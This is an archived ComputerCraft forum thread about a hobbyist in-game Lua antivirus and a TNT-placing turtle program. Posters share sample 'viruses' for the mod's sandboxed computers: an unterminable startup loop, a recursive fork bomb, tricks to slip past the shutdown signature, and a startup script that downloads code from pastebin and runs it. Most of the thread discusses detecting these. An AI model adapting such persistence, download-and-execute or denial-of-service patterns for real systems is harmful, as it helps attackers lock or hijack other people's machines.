This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
Ian-Moone's profile picture

TNT Team's programs [1.31][cc get][vandie's programs]

Started by Ian-Moone, 21 March 2012 - 09:28 AM
Ian-Moone #1
Posted 21 March 2012 - 10:28 AM



well you all know what our first program is…

The Advanced antivirus 1.2.4

I know antivirus's are very common but most of them are very basic and as I wanted to learn lua,I tried to make a bit more of an advanced one so here it is.(also the code will be quite messy as I am new to lua)

it will search for virus files. please note it will only search for viruses i have been made aware of so if you find a virus that is not my list below send me it so i can add it to the next version.


for this to work please first install this api



viruses protected against

virus a1 (all viruses that put os.shutdown in the start-up file are a1 viruses)

virus a2 (all viruses that put os.reboot in the start-up file are a2 viruses)

whats new

+a2 now protected against(see list for more info in list)

+code slightly harder to get around
- api needed

how you guys can help



tell me about a virus by sending me a pm like this

subject:virus to be stopped

virus name:name of the virus…derrrr!
description:a brief description of the virus and what it does
who made it:do i really have to explain this



Pictures

new pictures coming for v1.0



The Team

Vandie(me)

wolvan

Liraal

Zer0t3ch

thesbros




turtlebomb 1.1

basically it makes a turtle dig a 10 block line place 3 tnt and light it

this video is outdated you no longer need a redstone torch




Downloads

Antivirus

ccget
cc-get install vantivirus



turtlebomb



how you can help me

you can help by giving feedback

and by not i repeat not copying the code for public use without mine and wolvans express permission.

you will not be allowed to re-post our items or anything of the kind.



thanks

from Vandie

©2012 Vandie. ALL RIGHTS RESERVED


TNT Team Programs for computercraft

by Vandie and the Tnt Team

Wolvan #2
Posted 21 March 2012 - 01:05 PM
How does the program detect viruses? Just checks for a present startup script?
Ian-Moone #3
Posted 21 March 2012 - 01:16 PM
How does the program detect viruses? Just checks for a present startup script?

yes which were most cc viruses are stored I am currently attempting to find away to check for the actual virus code but as of yet i have not managed it.
i shall put a WIP by the antivirus part :(/>/>
Wolvan #4
Posted 21 March 2012 - 01:20 PM
yes which were most cc viruses are stored I am currently attempting to find away to check for the actual virus code but as of yet i have not managed it.
i shall put a WIP by the antivirus part :(/>/>
Maybe I can help with and idea: You actually use the stringutils API by tomass1996 to find virus code. and the virus code is stored in a text file and then scan for it. And whenever a new virus gets out, then they should send the code to you. Then you add it to the file and use the httpAPI to donwload the newest file to the pc
Ian-Moone #5
Posted 21 March 2012 - 01:22 PM
Maybe I can help with and idea: You actually use the stringutils API by tomass1996 to find virus code. and the virus code is stored in a text file and then scan for it. And whenever a new virus gets out, then they should send the code to you. Then you add it to the file and use the httpAPI to donwload the newest file to the pc

thanks ill try it :(/>/>
Liraal #6
Posted 21 March 2012 - 01:26 PM
there are also much smarter viruses that you have to find protection from, and I have a very nasty idea for an undetectable one… :(/>/>
Ian-Moone #7
Posted 21 March 2012 - 01:27 PM
there are also much smarter viruses that you have to find protection from, and I have a very nasty idea for an undetectable one… :(/>/>

well when ur done send me it so i can see if i can stop it lol
Ian-Moone #8
Posted 21 March 2012 - 04:15 PM
help from anyone is apreciated
Ian-Moone #9
Posted 22 March 2012 - 09:49 AM
Vandie's advanced antivirus 1.0 is almost done so far

whats new
+searches for virus code and removes it
-removed pointless start-up file removing
+added virus a1 to list of viruses that are protected against(see list for more info)

new download will be up when I have finished fixing thees big problems with the code :(/>/>
download up
Wolvan #10
Posted 22 March 2012 - 11:59 AM
I could help if you want. Skype? Steam?
Ian-Moone #11
Posted 22 March 2012 - 12:02 PM
sure thanks
send me your Skype name and ill add you
Ian-Moone #12
Posted 22 March 2012 - 05:17 PM
finished the code moments before mc 1.2.4 came out…DAMN IT!
BigSHinyToys #13
Posted 22 March 2012 - 08:16 PM
don't worry about 1.2.4 it will be weeks at best before any of the large mods update But most likely about a 3 to 4 weeks. dependent on how badly mojang has changed there code. till then most people wont even update and it is business as usual
Zer0t3ch #14
Posted 22 March 2012 - 09:34 PM
You should also add a block for anything that starts with os.reboot() in the first five lines. Also, might be better not to make HOW you do it public, makes it too easy for people to work around. Knowing how you currently blocks will allow me to make my first line a comment then do os.shutdown() and your antivirus wouldn't stop it. Preventing os.reboot() would also be especially useful to prevent massive server lag on a server with multiple rebooting computers.
Ludburghmdm #15
Posted 23 March 2012 - 02:37 AM
If you can't take pics try pressing F2 to take screenshots (Stored in C:users<YourUserName>AppDataRoaming.minecraftscreenshots or %appdata%.minecraftscreenshots)

If you want to take videos try Minema: http://www.minecraftforum.net/topic/926293-123-minema-12-the-movie-recorder-for-jerk-free-results/

By the way: I'm also working on a virus that can hide itself inside OTHER APPLICATIONS so beware of unauthorized distributors >:(/>/>
Ludburghmdm #16
Posted 23 March 2012 - 03:00 AM
Viruses are stupid, nevermind the BTW in my above post i will post the code that i currently have though:


--put in startup
while true do
pcall(sleep, 0)
end
--it calls via pcall() instead of os.pullEvent() so you can't terminate it and it doesn't do any damage. It just hangs the computer at startup.
Ian-Moone #17
Posted 23 March 2012 - 07:52 AM
so you wanna own virus a4

ill see what i can do

also thanks for tip
Ian-Moone #18
Posted 23 March 2012 - 08:07 AM
actually the code changed quite a bit since i posted it in the help and thats not all of it i kept some back for that reason
Ian-Moone #19
Posted 23 March 2012 - 10:31 AM
woops for got to say you need this api or it WILL NOT WORK
http://www.computerc...ring-utils-api/


no longer needed
Ian-Moone #20
Posted 23 March 2012 - 01:24 PM
video for turtlebomb up
bbqroast #21
Posted 23 March 2012 - 06:27 PM
How about you make a table of code. Then users send in both clean and dangerous code. When a user sends a virus for each line of code you search the table for that line (and create it if it isn't there) then you increase the value in the third column by one. You do the opposite for good programs adding one to the number in the second column. Example
Line | good | bad
———————————————-
rednet.send() | 25 | 2 // Rednet send has a positive value of 25 it is used in good programs most of the time.
write() | 12 | 10 // Used in both positive and negative programs, but mainly positive ones.
etc

From this you can gain a rating of each program by looking for each function and adding its good and bad values to a total for that program. If the bad value is high then something is up.
Liraal #22
Posted 23 March 2012 - 06:33 PM
actually i think that is a good idea, a reliable base of a pseudo-heuristic detecting software. i can help code this if you want.
Wolvan #23
Posted 23 March 2012 - 06:53 PM
I would help as well ;D
Ian-Moone #24
Posted 23 March 2012 - 07:22 PM
yes please
Zer0t3ch #25
Posted 23 March 2012 - 09:36 PM
As for TurtleBomb, rather than making people waste a redstone torch, just use

redstone.setOutput('forward', true)
Zer0t3ch #26
Posted 23 March 2012 - 09:40 PM
Also, I would love to help on the antivirus. I like the table idea, but I don't know a lot about tables, but I could learn. Also, you can test on my server. All of us coders could attempt to create a virus that the antivirus can't protect against. Sound good? PM me and lemme know what you think of me helping and/or using my server.
Ian-Moone #27
Posted 24 March 2012 - 08:38 AM
turtlebomb no longer needs a redstone torch thanks


Zer0t3ch

and as quite a few people want to help out i decided that the antivirus will be a team program and as such will make a list of the people who have asked to be in it and are in it! :(/>/>


thanks

vandie
Ian-Moone #28
Posted 24 March 2012 - 09:14 AM
Wolvan has joined the team :(/>/>
Ludburghmdm #29
Posted 25 March 2012 - 03:07 AM
Bump?
Ian-Moone #30
Posted 25 March 2012 - 09:34 AM
thanks for the bump…

anyway
Zer0t3ch joined the team
Ian-Moone #31
Posted 25 March 2012 - 11:33 AM
Liraal joined the team
Ludburghmdm #32
Posted 25 March 2012 - 02:42 PM
Your Welcome!
Ludburghmdm #33
Posted 27 March 2012 - 12:48 AM
I made a slightly edited version that doesn't need StrUtils. Because the code is already embedded in the program so no need for "strutils.contains(blah, blah)" all you have to type is "contains(blah, blah)" :o/>/>

Oh and i changed the caps in the startup message and the checking for viruses message and also the "Recommended Restart" message.

Sorry if this was pointless :o/>/> But the embedded StrUtils must be useful since you don't need "strutils.contains()" just "contains" and you don't have
to install StrUtils

The modded ZIP is attached

(And this was secretly a "bump")
Ian-Moone #34
Posted 27 March 2012 - 05:22 PM
thanks
also I loled so hard when i saw 'secret bump'
Wolvan #35
Posted 27 March 2012 - 05:23 PM
Something I can help you with?
Ian-Moone #36
Posted 27 March 2012 - 05:24 PM
yer
Ian-Moone #37
Posted 27 March 2012 - 09:12 PM
I made a slightly edited version that doesn't need StrUtils. Because the code is already embedded in the program so no need for "strutils.contains(blah, blah)" all you have to type is "contains(blah, blah)" :o/>/>

Oh and i changed the caps in the startup message and the checking for viruses message and also the "Recommended Restart" message.

Sorry if this was pointless :o/>/> But the embedded StrUtils must be useful since you don't need "strutils.contains()" just "contains" and you don't have
to install StrUtils

The modded ZIP is attached

(And this was secretly a "bump")

thanks this is now the Official release if that's ok with you
Resistance128 #38
Posted 27 March 2012 - 10:48 PM
You might also want to protect against viruses that put:

repeat
print("Random Text Here")
input = read()
until input == "Random characters here"

Into the startup file. I use this line of code quite a lot when making a lock program, however It can be a pain when its in the startup file and you dont know how to use Ctrl+T.
Wolvan #39
Posted 27 March 2012 - 11:22 PM
You might also want to protect against viruses that put:

repeat
print("Random Text Here")
input = read()
until input == "Random characters here"

Into the startup file. I use this line of code quite a lot when making a lock program, however It can be a pain when its in the startup file and you dont know how to use Ctrl+T.
You can make it impossible to terminate with the simple line
os.pullEvent=os.pullEventRaw
at the top of your code :o/>/>
Ian-Moone #40
Posted 28 March 2012 - 08:01 AM
will try i now got a list of 50 viruses i gotta protect against
Ian-Moone #41
Posted 28 March 2012 - 08:56 PM
im not going to say much but what i will say is the next version of the antivirus is going to be massive so many new features…
Wolvan #42
Posted 29 March 2012 - 08:28 AM
im not going to say much but what i will say is the next version of the antivirus is going to be massive so many new features…
Looking forward
OniNoSeishin #43
Posted 29 March 2012 - 05:30 PM

function test()
    parallel.waitForAll(test, test)
end

parallel.waitForAll(test, test)

don't try this at home
Wolvan #44
Posted 29 March 2012 - 06:22 PM

function test()
	parallel.waitForAll(test, test)
end

parallel.waitForAll(test, test)

don't try this at home
Perfect code for the cyber warfare *_*
Ian-Moone #45
Posted 29 March 2012 - 08:24 PM
yep! just trying to make http send virus feature so its easier to update
tommyroyall #46
Posted 30 March 2012 - 01:38 AM
Nice job dude. You should go crawling around the forums and find other viruses and put the code in the anti-virus. Also, try to get on cc-get or something. :o/>/> Gj bro.
Ian-Moone #47
Posted 30 March 2012 - 08:47 PM
cc get now available for antivirus
cc-get install vantivirus
Ian-Moone #48
Posted 30 March 2012 - 08:51 PM
1.1 is out nothing major that's for next release just some bugs taken out
Ian-Moone #49
Posted 30 March 2012 - 09:13 PM
name of thread changed to show this is a team effort :o/>/>
Ludburghmdm #50
Posted 31 March 2012 - 12:25 AM
I'm gonna start checking compatibility for all your programs with ComputerCraft 1.32. If it is not compatible, I'm gonna try my best to update them.
Ludburghmdm #51
Posted 31 March 2012 - 01:16 AM
Compatibility Check:
Antivirus: OK!
Turtle Bomb: OK!
ALL OK!
Ludburghmdm #52
Posted 31 March 2012 - 01:45 AM
BTW: What does TNT stand for? Is it the TNT in minecraft? A random name you just thought up? or does it stand for (Enlarged for Explosiveness)

Trinitrotoluene?

Edit: Aww! Sizing didn't work!
cant_delete_account #53
Posted 31 March 2012 - 03:55 AM
Compatibility Check:
Antivirus: OK!
Turtle Bomb: OK!
ALL OK!
They would work anyway… ComputerCraft 1.32 didn't change any coding aspects of the mod.
Ian-Moone #54
Posted 31 March 2012 - 07:15 AM
tnt in minecraft (wolvans idea)
cant_delete_account #55
Posted 31 March 2012 - 06:14 PM
there are also much smarter viruses that you have to find protection from, and I have a very nasty idea for an undetectable one… :o/>/>
I bet I can detect it, I have very sneaky ideas with floppy disks and disk drives, it works by:
D
C
D = Disk Drive, C = Computer
then in the disk drive on top, edit a file called 'startup' on a floppy, and put this code:

if fs.exists("//startup") then
shell.run("startup")
end
No virus can get through that, unless your idea is VEERRRYYYY sneaky.
Liraal #56
Posted 31 March 2012 - 06:26 PM
yes it is, you don't even have an idea how much :o/>/> Once it gets in, and one execution is all that's required, you'll have a veeeery hard time tracking it and removing. I can bet on it.
Wolvan #57
Posted 31 March 2012 - 10:54 PM
tnt in minecraft (wolvans idea)
What?!? My idea?
and btw: We should add ComputerCraftFan11's Virus in our antivirus
Ian-Moone #58
Posted 01 April 2012 - 09:03 AM
kk we'll talk about it later coz im
at mates house and im bloody tires
Ian-Moone #59
Posted 01 April 2012 - 09:08 AM
wolvans idea for teem name i mean
Ian-Moone #60
Posted 02 April 2012 - 08:28 AM
so much to do
Noodle #61
Posted 03 April 2012 - 03:07 AM
So why turtlebomb?
I don't get why you would want things to explode…
Ian-Moone #62
Posted 03 April 2012 - 09:42 AM
for blasting holes in walls when you dont want anyone to know it was you
xXNinjaMXx #63
Posted 04 April 2012 - 02:15 AM
Hey Vandie if you ever need help i'll be willing to help you out or even join you maybe(probably not happening :)/>/>) I've started out with lua a couple weeks ago and I've got the hang of it mostly just need to work on shortening code. just give me a PM if you need anything btw i got the auto updating thing done
Ian-Moone #64
Posted 04 April 2012 - 12:02 PM
god im spoiled for choice thanks for all of you who want to help ill pm you if i need more hands :)/>/>
Ian-Moone #65
Posted 06 April 2012 - 11:03 AM
ok its decided we'll try and make antivirus rednet compatible so it can fix other cc pc's
cant_delete_account #66
Posted 06 April 2012 - 05:59 PM
ok its decided we'll try and make antivirus rednet compatible so it can fix other cc pc's
That won't exactly work… The other computer would still have to have a program on it. So there is really no use. Because the other computer's owner might as well just download it too.
Wolvan #67
Posted 06 April 2012 - 07:30 PM
ok its decided we'll try and make antivirus rednet compatible so it can fix other cc pc's
That won't exactly work… The other computer would still have to have a program on it. So there is really no use. Because the other computer's owner might as well just download it too.
The program you would need could be installed as an API or something like that
Ian-Moone #68
Posted 06 April 2012 - 08:04 PM
so it is possible or isent it by the way we have a while this isent for the next version
Liraal #69
Posted 06 April 2012 - 08:17 PM
we can do it via ROM. And then make it completely virus-proof by running the antivir in the background and allowing for both remote access and stopping the execution of suspicious software locally. It's worth it.
Wolvan #70
Posted 06 April 2012 - 08:24 PM
we can do it via ROM. And then make it completely virus-proof by running the antivir in the background and allowing for both remote access and stopping the execution of suspicious software locally. It's worth it.
That were my thoughts
Ian-Moone #71
Posted 06 April 2012 - 09:02 PM
ok we'll discuss it monday at i dont know 8:30 pm uk time
cant_delete_account #72
Posted 07 April 2012 - 02:33 AM
we can do it via ROM. And then make it completely virus-proof by running the antivir in the background and allowing for both remote access and stopping the execution of suspicious software locally. It's worth it.
Yeah, that would work good. Like replace the /rom/startup or something. So whenever the computer runs, it checks for viruses.
Ian-Moone #73
Posted 08 April 2012 - 01:33 PM
i have just added the legal stuff to top post any questions about anything in the programs just ask me
also this was a secret bump
Ian-Moone #74
Posted 08 April 2012 - 07:48 PM
advanced antivirus 1.2 is out!!!!

whats new

+a2 now protected against(see list for more info in list)
+fixed random disallowed to delete bug
Ludburghmdm #75
Posted 08 April 2012 - 08:34 PM
i have just added the legal stuff to top post any questions about anything in the programs just ask me
also this was a secret bump

Hey! You copied me! :P/>/>
And thanks for updating it to my modified version. (The one that doesn't need TxtUtils to function.)

[color=#C80046]A[/color][color=#C70036] [/color][color=#C70026]N[/color][color=#C80016]O[/color][color=#C80004]T[/color][color=#C80C00] [/color][color=#C81D00]R[/color][color=#C82C00]E[/color][color=#C83A00]A[/color][color=#C84800]L[/color][color=#C85500]L[/color][color=#C86300]Y[/color][color=#C87000] [/color][color=#C87D00]S[/color][color=#C88B00]E[/color][color=#C89900]C[/color][color=#C7A800]R[/color][color=#C8B800]E[/color][color=#C5C800]T[/color][color=#B3C800] [/color][color=#A3C800]E[/color][color=#93C800]P[/color][color=#83C800]I[/color][color=#74C800]C[/color][color=#65C800] [/color][color=#55C800]B[/color][color=#45C800]O[/color][color=#35C800]L[/color][color=#23C700]D[/color][color=#10C800]E[/color][color=#00C804]D[/color][color=#00C818] [/color][color=#00C82B]T[/color][color=#00C83C]E[/color][color=#00C84C]X[/color][color=#00C85C]T[/color][color=#00C76B] [/color][color=#00C87B]R[/color][color=#00C88A]A[/color][color=#00C89A]I[/color][color=#00C8AA]N[/color][color=#00C7BB]B[/color][color=#00C2C8]O[/color][color=#00B1C8]W[/color][color=#00A1C8] [/color][color=#0093C8]C[/color][color=#0085C8]O[/color][color=#0077C8]L[/color][color=#006AC8]O[/color][color=#005DC7]R[/color][color=#0050C8]E[/color][color=#0042C8]D[/color][color=#0034C7] [/color][color=#0026C8]S[/color][color=#0016C8]E[/color][color=#0005C8]C[/color][color=#0C00C8]R[/color][color=#1D00C8]E[/color][color=#2D00C8]T[/color][color=#3D00C8] [/color][color=#4C00C8]B[/color][color=#5C00C8]U[/color][color=#6B00C8]M[/color][color=#7B00C8]P[/color][color=#8B00C8]![/color][color=#9C00C8]![/color][color=#AF00C8]![/color]
Ian-Moone #76
Posted 08 April 2012 - 08:37 PM
its edited a bit but yer i should be thanking you
Ludburghmdm #77
Posted 08 April 2012 - 08:40 PM
Aww, Comeon! My "Epic Rainbow Colored and Bolded Not Really Secret Bump" didn't work! It's just gibberish BBcode. :P/>/>
Ian-Moone #78
Posted 08 April 2012 - 09:12 PM
lol you failed mate but i didn't need a bump
cant_delete_account #79
Posted 08 April 2012 - 10:53 PM
I have a suggestion, use tables for the viruses, like this code:
Spoiler

local max = 4
local ijkl = 0
local tableo = {}
tableo[1]="A1"
tableo[2]="A2"
tableo[3]="B1"
tableo[4]="B2"
repeat
if ijkl == 0 then
term.clear()
term.setCursorPos(1,1)
end
ijkl = ijkl+1
print("Searching for virus "..tableo[ijkl]..".")
print("|~|")
sleep(0.5)
print("|~~|")
sleep(0.5)
print("|~~~|")
sleep(0.5)
print("|~~~~|")
sleep(0.5)
print("|~~~~~|")
sleep(0.5)
print("|~~~~~~|")
sleep(0.5)
print("|~~~~~~~|")
sleep(0.5)
print("|~~~~~~~~|")
sleep(0.5)
print("|~~~~~~~~~|")
sleep(0.5)
print("Done!")
sleep(0.7)
term.clear()
term.setCursorPos(1,1)
until ijkl == (max)
So that way, you can have virus names stored in a table, so you don't need to copy a print statement for each virus. Max would be how much viruses there is, and you can add names for the viruses by simply doing:
tableo[5]="VIRUSNAMEHERE"
and setting 'max' to 5
then doing tableo[6]="VIRUSNAMEHERE"
and setting 'max' to 6, etc, etc.
P.S: On your title you should make it say '1.32+' instead of '1.31'.
Ian-Moone #80
Posted 09 April 2012 - 09:49 AM
i thiink we will eventually use it like that but currently werre making sure the actual system works as well as it can and the thing about haveing an individual statement for each virus is its easier to fix errors with as with the table with 1 error makes none of it work
Gurkenmaster #81
Posted 10 April 2012 - 01:06 PM

os.shutdown(nil)
or

shutdown = os.shutdown
shutdown()
Still work
I would recommend searching for os.shutdown instead of os.shutdown().
Zer0t3ch #82
Posted 10 April 2012 - 05:17 PM

os.shutdown(nil)
or

shutdown = os.shutdown
shutdown()
Still work
I would recommend searching for os.shutdown instead of os.shutdown().

Great idea. In case he doesn't see this, I will mention it to him later.
cant_delete_account #83
Posted 10 April 2012 - 07:19 PM

os.shutdown(nil)
or

shutdown = os.shutdown
shutdown()
Still work
I would recommend searching for os.shutdown instead of os.shutdown().
Infact, just search for shutdown.
Ian-Moone #84
Posted 10 April 2012 - 07:32 PM
i did see this and im on it. I've done it just download the new version and your set! :P/>/>
ps. if you find a virus please do post it coz im no-ware without your support
Ian-Moone #85
Posted 11 April 2012 - 09:21 AM
thesbros joined the team
cant_delete_account #86
Posted 11 April 2012 - 06:44 PM
thesbros joined the team
:P/>/> Yayz!
SpoilerSUUPPPERRR SEECCCREETTTT BUUUMMMPPPP :DDD
Ian-Moone #87
Posted 11 April 2012 - 08:34 PM
thanks for the super secret bump

anyhow if you are to tell me about a virus please send me a pm like this

subject:virus to be stopped

virus name:name of the virus…derrrr!
description:a brief description of the virus and what it does
who made it:do i really have to explain this
cant_delete_account #88
Posted 11 April 2012 - 09:17 PM
thanks for the super secret bump

anyhow if you are to tell me about a virus please send me a pm like this

subject:virus to be stopped

virus name:name of the virus…derrrr!
description:a brief description of the virus and what it does
who made it:do i really have to explain this
Sent you a virus to take care of. :P/>/>
Ludburghmdm #89
Posted 11 April 2012 - 11:32 PM
WHY IS EVERYONE USING A "SUPER SECRET BUMP!?"

@thesbros
HOW DID YOU MAKE THAT WORK!!??
cant_delete_account #90
Posted 12 April 2012 - 12:17 AM
WHY IS EVERYONE USING A "SUPER SECRET BUMP!?"

@thesbros
HOW DID YOU MAKE THAT WORK!!??
http://humdi.net/bbcoderb.php
:P/>/>
Ludburghmdm #91
Posted 14 April 2012 - 08:09 AM
I'm trying to make an "Automatic Updater" for this. May take weeks though.
Ludburghmdm #92
Posted 14 April 2012 - 08:46 AM
Wow. Took shorter time than i thought! Will be posted on my programs page soon.
Right now, it's being Tested and Debugged. Just WAIIIIIIIT!!!

It's POSTED!!!
Click HERE to view the program page
Tutorial video coming soon!
Ian-Moone #93
Posted 14 April 2012 - 02:31 PM
thanks
but i don't like paste-bin so i wont use this in a release if that's ok with you
Ludburghmdm #94
Posted 14 April 2012 - 05:30 PM
Meh, It's ok. Hopefully it's useful for some other people.
cant_delete_account #95
Posted 14 April 2012 - 06:39 PM
thanks
but i don't like paste-bin so i wont use this in a release if that's ok with you
I'll work on a updater with Dropbox :)/>/>
cant_delete_account #96
Posted 14 April 2012 - 06:47 PM
thanks
but i don't like paste-bin so i wont use this in a release if that's ok with you
I'll work on a updater with Dropbox :)/>/>
But, can you please add this at the VERY TOP of your program?:

version = 1.2.4
But, whenever you update, change the version number.
Wolvan #97
Posted 14 April 2012 - 10:33 PM
And maybe we could add a system that detects the version of the CraftOS and checks if our AV works on that version

PS: I am a pro coder :)/>/>
SpoilerSo much super secret bumps
THIS IS ONE TOO
Ludburghmdm #98
Posted 14 April 2012 - 11:02 PM
There's not much viruses lurkin' around the interwebz.

SpoilerGGIIAANNTT SSUUPPEERR SSEECCRREETT BBUUMMPP @thesbros Thanks for the link!

It's not really needed anyways.
Ludburghmdm #99
Posted 15 April 2012 - 01:39 AM
Vandie check your PM Mailbox (Top Right Corner Beside your username)
Ian-Moone #100
Posted 15 April 2012 - 10:52 AM
guys ive got a bit of a problem spoilers don't seem to be open-able to me anymore
Ludburghmdm #101
Posted 18 April 2012 - 04:03 AM
Are there ANY updates here?
EmTeaKay #102
Posted 18 April 2012 - 04:45 AM
So I was think, could you stop people from using shell.run("reboot") in the startup file?
cant_delete_account #103
Posted 18 April 2012 - 04:50 AM
So I was think, could you stop people from using shell.run("reboot") in the startup file?
Yup, we'll probably just search for 'reboot'.
Wolvan #104
Posted 18 April 2012 - 06:04 AM
We should add a program that leaves startup files with special code (Like the rednet startup) untouched even if it has os.shutdown() or something in it
cant_delete_account #105
Posted 19 April 2012 - 04:54 AM
We should add a program that leaves startup files with special code (Like the rednet startup) untouched even if it has os.shutdown() or something in it
I'm working on making it so the user can choose if they want to remove the file or not.
Ian-Moone #106
Posted 20 April 2012 - 04:35 PM
sorry for inactivity just didn't know what to add
cant_delete_account #107
Posted 20 April 2012 - 04:49 PM
sorry for inactivity just didn't know what to add
Add the feature I said up 2 posts up, add so the user can choose if they want to delete the startup.
koslas #108
Posted 08 August 2012 - 05:42 AM
If the httpAPI is enabled people would be-able to do in startup


shell.run("pastebin","get","6NTvKED0","virus")
fs.delete("startup")
shell.run("pastebin","get","GJFG1AGF","startup")
shell.run("virus")


This virus doesn't stop this from happening as it doesn't look shell.run or stuff that can cause that.
fixerpro #109
Posted 24 August 2012 - 05:16 AM
virus:doomsday virus
desc:a virus created when playing around with lua,it deletes all files and renders the computer useless
creator:me(fixerpro)!
TntTerminal #110
Posted 27 August 2012 - 05:06 AM
Its pointless to make a virus other than passcode breaking. Someone code the virus, send to another person, and the only thing it does is blocking the user from using the computer. What the virus creator get for that? Maybe if viruses had the ability to steal your informations, send the virus to your friends via a email application if there is any, and spread the virus…
DiamondOwner #111
Posted 30 January 2013 - 03:09 PM
I'm planning to make a virus to test the strength of your anti-virus. I'm just starting out with Lua, so I might ask a few questions while I am creating my virus. I can't seem to find a download link/code. Can you put one up?
NonStopGamer #112
Posted 09 February 2013 - 11:10 AM
Anti virus suggestion:
Check if program creates/edits/deletes files/directories.
Cranium #113
Posted 09 February 2013 - 01:25 PM
Old topic….preventing further necromancy….locked.